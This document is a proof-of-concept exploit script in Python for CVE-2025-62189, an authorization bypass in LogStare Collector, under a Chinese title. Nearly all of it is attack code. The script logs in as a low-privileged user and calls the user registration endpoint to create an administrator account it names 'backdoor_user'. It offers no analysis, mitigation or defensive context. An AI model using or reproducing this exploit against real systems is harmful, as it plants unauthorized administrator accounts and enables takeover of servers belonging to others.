CVE-2025-62189: LogStare Collector用户注册授权绕过漏洞

import requests import json # CVE-2025-62189 PoC - LogStare Collector Authorization Bypass # Target: LogStare Collector UserRegistration endpoint # Author: [email protected] TARGET_URL = "http://target-server:8080/api/user/register" ATTACKER_CREDS = { "username": "attacker", "password": "attacker123" } NEW_USER_PAYLOAD = { "username": "backdoor_user", "password": "P@ssw0rd123!", "email": "[email protected]", "role": "admin" } def exploit_authorization_bypass(): """ Exploit for CVE-2025-62189 This PoC demonstrates how a low-privileged user can create a new admin user account via improper authorization check. """ session = requests.Session() # Step 1: Authenticate as low-privileged user login_data = { "username": ATTACKER_CREDS["username"], "password": ATTACKER_CREDS["password"] } try: # Login request login_response = session.post( f"{TARGET_URL.replace('/api/user/register', '/api/auth/login')}", json=login_data, timeout=10 ) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privileged user") # Step 2: Exploit authorization bypass to create admin user exploit_response = session.post( TARGET_URL, json=NEW_USER_PAYLOAD, headers={ "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" }, timeout=10 ) if exploit_response.status_code in [200, 201]: print("[+] Authorization bypass successful!") print(f"[+] Created backdoor user: {NEW_USER_PAYLOAD['username']}") print(f"[+] Role: {NEW_USER_PAYLOAD['role']}") return True else: print(f"[-] Exploit failed with status: {exploit_response.status_code}") print(f"[-] Response: {exploit_response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-62189 PoC - LogStare Collector Authorization Bypass") print("=" * 60) exploit_authorization_bypass()